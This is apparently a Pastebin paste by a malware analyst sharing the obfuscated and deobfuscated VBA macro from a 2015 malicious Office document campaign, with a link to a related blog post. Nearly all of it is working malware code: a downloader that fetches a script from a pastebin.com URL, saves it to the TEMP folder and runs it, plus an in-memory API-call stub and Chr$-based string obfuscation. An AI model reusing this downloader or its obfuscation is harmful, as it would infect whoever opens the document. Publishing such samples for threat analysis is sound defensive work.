Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Obfuscated + deobfuscated VBscript used in latest Office maldoc campaign.
- Related blog post: http://bartblaze.blogspot.com/2015/05/new-malicious-office-docs-trick.html
- <== obfuscated: ===>
- Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
- On Error Resume Next
- Dim UpICsYhhglV As Long
- Dim VAMMdgjbzOHrZ(&HEC00& - 1) As Byte
- Dim wZdrB As Long
- Dim kQJlHFiPhSQwQic As Long
- kQJlHFiPhSQwQic = GetProcAddress(LoadLibraryA(sLib), sMod)
- If kQJlHFiPhSQwQic = 0 Then Exit Function
- UpICsYhhglV = VarPtr(VAMMdgjbzOHrZ(0))
- RtlMoveMemory ByVal UpICsYhhglV, &H59595958, &H4: UpICsYhhglV = UpICsYhhglV + 4
- RtlMoveMemory ByVal UpICsYhhglV, &H5059, &H2: UpICsYhhglV = UpICsYhhglV + 2
- For wZdrB = UBound(Params) To 0 Step -1
- RtlMoveMemory ByVal UpICsYhhglV, &H68, &H1: UpICsYhhglV = UpICsYhhglV + 1
- RtlMoveMemory ByVal UpICsYhhglV, CLng(Params(wZdrB)), &H4: UpICsYhhglV = UpICsYhhglV + 4
- Next
- RtlMoveMemory ByVal UpICsYhhglV, &HE8, &H1: UpICsYhhglV = UpICsYhhglV + 1
- RtlMoveMemory ByVal UpICsYhhglV, kQJlHFiPhSQwQic - UpICsYhhglV - 4, &H4: UpICsYhhglV = UpICsYhhglV + 4
- RtlMoveMemory ByVal UpICsYhhglV, &HC3, &H1: UpICsYhhglV = UpICsYhhglV + 1
- CallApiByName = CallWindowProcA(VarPtr(VAMMdgjbzOHrZ(0)), 0, 0, 0, 0)
- End Function
- Sub hfyuBJKfdgfdgsdfg()
- ouIYHiogeffjgyuFUFYdsg = Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) & Chr$(58) & Chr$(47) & Chr$(47) & Chr$(112) & Chr$(97) & Chr$(115) & Chr$(116) & Chr$(101) & Chr$(98) & Chr$(105) & Chr$(110) & Chr$(46) & Chr$(99) & Chr$(111) & Chr$(109) & Chr$(47) & Chr$(100) & Chr$(111) & Chr$(119) & Chr$(110) & Chr$(108) & Chr$(111) & Chr$(97) & Chr$(100) & Chr$(46) & Chr$(112) & Chr$(104) & Chr$(112) & Chr$(63) & Chr$(105) & Chr$(61) & Chr$(86) & Chr$(84) & Chr$(100) & Chr$(57) & Chr$(72) & Chr$(86) & Chr$(107) & Chr$(122)
- Set ertertFFFg = CreateObject(Chr$(77) & Chr$(83) & Chr$(88) & Chr$(77) & Chr$(76) & Chr$(50) & Chr$(46) & Chr$(88) & Chr$(77) & Chr$(76) & Chr$(72) & Chr$(84) & Chr$(84) & Chr$(80))
- Call ertertFFFg.Open(Chr$(71) & Chr$(69) & Chr$(84), ouIYHiogeffjgyuFUFYdsg, False)
- ertertFFFg.Send
- Set iyuiyui = CreateObject(Chr$(83) & Chr$(99) & Chr$(114) & Chr$(105) & Chr$(112) & Chr$(116) & Chr$(105) & Chr$(110) & Chr$(103) & Chr$(46) & Chr$(70) & Chr$(105) & Chr$(108) & Chr$(101) & Chr$(83) & Chr$(121) & Chr$(115) & Chr$(116) & Chr$(101) & Chr$(109) & Chr$(79) & Chr$(98) & Chr$(106) & Chr$(101) & Chr$(99) & Chr$(116))
- ewwfgfdg = Environ(Chr$(84) & Chr$(69) & Chr$(77) & Chr$(80)) & Chr$(92) & Chr$(74) & Chr$(71) & Chr$(117) & Chr$(105) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(98) & Chr$(102) & Chr$(102) & Chr$(51) & Chr$(102) & Chr$(46) & Chr$(118) & Chr$(98) & Chr$(115)
- Set riitiyiFF = iyuiyui.CreateTextFile(ewwfgfdg, 2)
- riitiyiFF.Write ertertFFFg.ResponseText
- riitiyiFF.Close
- Set oUIYYytgsdvfFF = CreateObject(Chr$(83) & Chr$(104) & Chr$(101) & Chr$(108) & Chr$(108) & Chr$(46) & Chr$(65) & Chr$(112) & Chr$(112) & Chr$(108) & Chr$(105) & Chr$(99) & Chr$(97) & Chr$(116) & Chr$(105) & Chr$(111) & Chr$(110))
- oUIYYytgsdvfFF.Open Environ(Chr$(84) & Chr$(69) & Chr$(77) & Chr$(80)) & Chr$(92) & Chr$(74) & Chr$(71) & Chr$(117) & Chr$(105) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(98) & Chr$(102) & Chr$(102) & Chr$(51) & Chr$(102) & Chr$(46) & Chr$(118) & Chr$(98) & Chr$(115)
- End Sub
- =========================================================================================================
- <== deobfuscated: ===>
- Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
- On Error Resume Next
- Dim UpICsYhhglV As Long
- Dim VAMMdgjbzOHrZ(&HEC00& - 1) As Byte
- Dim wZdrB As Long
- Dim kQJlHFiPhSQwQic As Long
- kQJlHFiPhSQwQic = GetProcAddress(LoadLibraryA(sLib), sMod)
- If kQJlHFiPhSQwQic = 0 Then Exit Function
- UpICsYhhglV = VarPtr(VAMMdgjbzOHrZ(0))
- RtlMoveMemory ByVal UpICsYhhglV, &H59595958, &H4: UpICsYhhglV = UpICsYhhglV + 4
- RtlMoveMemory ByVal UpICsYhhglV, &H5059, &H2: UpICsYhhglV = UpICsYhhglV + 2
- For wZdrB = UBound(Params) To 0 Step -1
- RtlMoveMemory ByVal UpICsYhhglV, &H68, &H1: UpICsYhhglV = UpICsYhhglV + 1
- RtlMoveMemory ByVal UpICsYhhglV, CLng(Params(wZdrB)), &H4: UpICsYhhglV = UpICsYhhglV + 4
- Next
- RtlMoveMemory ByVal UpICsYhhglV, &HE8, &H1: UpICsYhhglV = UpICsYhhglV + 1
- RtlMoveMemory ByVal UpICsYhhglV, kQJlHFiPhSQwQic - UpICsYhhglV - 4, &H4: UpICsYhhglV = UpICsYhhglV + 4
- RtlMoveMemory ByVal UpICsYhhglV, &HC3, &H1: UpICsYhhglV = UpICsYhhglV + 1
- CallApiByName = CallWindowProcA(VarPtr(VAMMdgjbzOHrZ(0)), 0, 0, 0, 0)
- End Function
- Sub hfyuBJKfdgfdgsdfg()
- ouIYHiogeffjgyuFUFYdsg = http://pastebin.com/download.php?i=VTd9HVkz
- Set ertertFFFg = CreateObject(MSXML2.XMLHTTP)
- Call ertertFFFg.Open(GET, ouIYHiogeffjgyuFUFYdsg, False)
- ertertFFFg.Send
- Set iyuiyui = CreateObject(Scripting.FileSystemObject)
- ewwfgfdg = Environ(TEMP)\JGuigbjbff3f.vbs
- Set riitiyiFF = iyuiyui.CreateTextFile(ewwfgfdg, 2)
- riitiyiFF.Write ertertFFFg.ResponseText
- riitiyiFF.Close
- Set oUIYYytgsdvfFF = CreateObject(Shell.Application)
- oUIYYytgsdvfFF.Open Environ(TEMP)\JGuigbjbff3f.vbs
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement